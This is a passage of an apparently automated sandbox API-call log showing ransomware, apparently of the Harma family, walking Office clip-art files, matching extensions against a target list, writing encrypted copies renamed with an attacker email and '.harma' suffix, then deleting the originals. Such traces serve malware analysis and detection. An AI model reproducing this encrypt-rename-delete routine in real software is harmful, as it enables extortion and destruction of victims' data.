(lpString=".zip") returned 4 [0140.367] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0140.367] lstrlenW (lpString=".rar") returned 4 [0140.367] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0140.367] lstrlenW (lpString=".bz2") returned 4 [0140.367] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0140.367] lstrlenW (lpString=".7z") returned 3 [0140.367] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0140.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.368] lstrlenW (lpString=".dbf") returned 4 [0140.368] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0140.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.368] lstrlenW (lpString=".1cd") returned 4 [0140.368] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0140.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.368] lstrlenW (lpString=".jpg") returned 4 [0140.368] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0140.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.368] lstrlenW (lpString=".doc") returned 4 [0140.368] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0140.368] lstrlenW (lpString=".docx") returned 5 [0140.368] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0140.368] lstrlenW (lpString=".pdf") returned 4 [0140.368] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0140.368] lstrlenW (lpString=".xls") returned 4 [0140.368] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0140.368] lstrlenW (lpString=".xlsx") returned 5 [0140.368] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0140.368] lstrlenW (lpString=".ppt") returned 4 [0140.368] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0140.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.368] lstrlenW (lpString=".zip") returned 4 [0140.368] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0140.368] lstrlenW (lpString=".rar") returned 4 [0140.368] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0140.368] lstrlenW (lpString=".bz2") returned 4 [0140.368] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0140.368] lstrlenW (lpString=".7z") returned 3 [0140.368] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0140.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.369] lstrlenW (lpString=".dbf") returned 4 [0140.369] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0140.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.369] lstrlenW (lpString=".1cd") returned 4 [0140.369] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0140.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.369] lstrlenW (lpString=".jpg") returned 4 [0140.369] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0140.369] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0140.369] lstrlenW (lpString="JAVA_01.MID") returned 11 [0140.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0140.369] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=9797) returned 1 [0140.370] CloseHandle (hObject=0x354) returned 1 [0140.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 0x20 [0140.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0140.370] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.371] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0140.372] GetLastError () returned 0x0 [0140.372] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x2645, lpOverlapped=0x0) returned 1 [0140.615] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2650, lpOverlapped=0x0) returned 1 [0140.617] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.617] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0140.617] SetEndOfFile (hFile=0x338) returned 1 [0140.803] CloseHandle (hObject=0x338) returned 1 [0141.073] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.073] SetEndOfFile (hFile=0x354) returned 1 [0141.586] CloseHandle (hObject=0x354) returned 1 [0141.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid")) returned 1 [0141.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.761] lstrlenW (lpString=".doc") returned 4 [0141.761] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.761] lstrlenW (lpString=".docx") returned 5 [0141.761] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0141.761] lstrlenW (lpString=".pdf") returned 4 [0141.761] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.761] lstrlenW (lpString=".xls") returned 4 [0141.761] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.761] lstrlenW (lpString=".xlsx") returned 5 [0141.761] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0141.761] lstrlenW (lpString=".ppt") returned 4 [0141.761] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.761] lstrlenW (lpString=".zip") returned 4 [0141.761] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.761] lstrlenW (lpString=".rar") returned 4 [0141.761] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.761] lstrlenW (lpString=".bz2") returned 4 [0141.761] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.761] lstrlenW (lpString=".7z") returned 3 [0141.761] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.761] lstrlenW (lpString=".dbf") returned 4 [0141.761] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.762] lstrlenW (lpString=".1cd") returned 4 [0141.762] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.762] lstrlenW (lpString=".jpg") returned 4 [0141.762] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.762] lstrlenW (lpString=".doc") returned 4 [0141.762] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0141.762] lstrlenW (lpString=".docx") returned 5 [0141.762] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0141.762] lstrlenW (lpString=".pdf") returned 4 [0141.762] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0141.762] lstrlenW (lpString=".xls") returned 4 [0141.762] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0141.762] lstrlenW (lpString=".xlsx") returned 5 [0141.762] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0141.762] lstrlenW (lpString=".ppt") returned 4 [0141.762] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0141.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.762] lstrlenW (lpString=".zip") returned 4 [0141.762] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0141.762] lstrlenW (lpString=".rar") returned 4 [0141.763] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0141.763] lstrlenW (lpString=".bz2") returned 4 [0141.763] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0141.763] lstrlenW (lpString=".7z") returned 3 [0141.763] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0141.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.763] lstrlenW (lpString=".dbf") returned 4 [0141.763] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0141.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.763] lstrlenW (lpString=".1cd") returned 4 [0141.763] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0141.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0141.763] lstrlenW (lpString=".jpg") returned 4 [0141.763] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0141.763] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0141.763] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0141.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0141.782] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=5968) returned 1 [0141.782] CloseHandle (hObject=0x330) returned 1 [0141.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0141.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0141.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0141.852] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.852] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0141.852] GetLastError () returned 0x0 [0141.853] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x1750, lpOverlapped=0x0) returned 1 [0141.922] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1760, lpOverlapped=0x0) returned 1 [0141.923] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.923] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.924] SetEndOfFile (hFile=0x350) returned 1 [0141.924] CloseHandle (hObject=0x350) returned 1 [0141.924] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.924] SetEndOfFile (hFile=0x354) returned 1 [0141.926] CloseHandle (hObject=0x354) returned 1 [0141.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0142.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.060] lstrlenW (lpString=".doc") returned 4 [0142.060] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.060] lstrlenW (lpString=".docx") returned 5 [0142.060] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.060] lstrlenW (lpString=".pdf") returned 4 [0142.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.060] lstrlenW (lpString=".xls") returned 4 [0142.060] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.060] lstrlenW (lpString=".xlsx") returned 5 [0142.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.060] lstrlenW (lpString=".ppt") returned 4 [0142.060] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.060] lstrlenW (lpString=".zip") returned 4 [0142.060] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.060] lstrlenW (lpString=".rar") returned 4 [0142.060] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.060] lstrlenW (lpString=".bz2") returned 4 [0142.060] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.060] lstrlenW (lpString=".7z") returned 3 [0142.060] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.060] lstrlenW (lpString=".dbf") returned 4 [0142.060] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.061] lstrlenW (lpString=".1cd") returned 4 [0142.061] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.061] lstrlenW (lpString=".jpg") returned 4 [0142.061] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.061] lstrlenW (lpString=".doc") returned 4 [0142.061] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.061] lstrlenW (lpString=".docx") returned 5 [0142.061] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.061] lstrlenW (lpString=".pdf") returned 4 [0142.061] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.061] lstrlenW (lpString=".xls") returned 4 [0142.061] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.061] lstrlenW (lpString=".xlsx") returned 5 [0142.061] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.061] lstrlenW (lpString=".ppt") returned 4 [0142.061] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.061] lstrlenW (lpString=".zip") returned 4 [0142.061] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.061] lstrlenW (lpString=".rar") returned 4 [0142.061] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.062] lstrlenW (lpString=".bz2") returned 4 [0142.062] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.062] lstrlenW (lpString=".7z") returned 3 [0142.062] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.062] lstrlenW (lpString=".dbf") returned 4 [0142.062] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.062] lstrlenW (lpString=".1cd") returned 4 [0142.062] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0142.062] lstrlenW (lpString=".jpg") returned 4 [0142.062] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.062] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.062] lstrlenW (lpString="PAPER_01.MID") returned 12 [0142.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.063] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=6763) returned 1 [0142.063] CloseHandle (hObject=0x350) returned 1 [0142.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0142.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.064] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.064] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0142.064] GetLastError () returned 0x0 [0142.064] ReadFile (in: hFile=0x350, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0142.066] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0142.067] ReadFile (in: hFile=0x350, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.067] WriteFile (in: hFile=0x21c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.067] SetEndOfFile (hFile=0x21c) returned 1 [0142.067] CloseHandle (hObject=0x21c) returned 1 [0142.068] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.068] SetEndOfFile (hFile=0x350) returned 1 [0142.070] CloseHandle (hObject=0x350) returned 1 [0142.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.071] lstrlenW (lpString=".doc") returned 4 [0142.071] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.071] lstrlenW (lpString=".docx") returned 5 [0142.071] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.071] lstrlenW (lpString=".pdf") returned 4 [0142.071] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.072] lstrlenW (lpString=".xls") returned 4 [0142.072] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.072] lstrlenW (lpString=".xlsx") returned 5 [0142.072] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.072] lstrlenW (lpString=".ppt") returned 4 [0142.072] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.072] lstrlenW (lpString=".zip") returned 4 [0142.072] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.072] lstrlenW (lpString=".rar") returned 4 [0142.072] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.072] lstrlenW (lpString=".bz2") returned 4 [0142.072] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.072] lstrlenW (lpString=".7z") returned 3 [0142.072] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.072] lstrlenW (lpString=".dbf") returned 4 [0142.072] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0142.072] lstrlenW (lpString=".1cd") returned 4 [0142.072] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 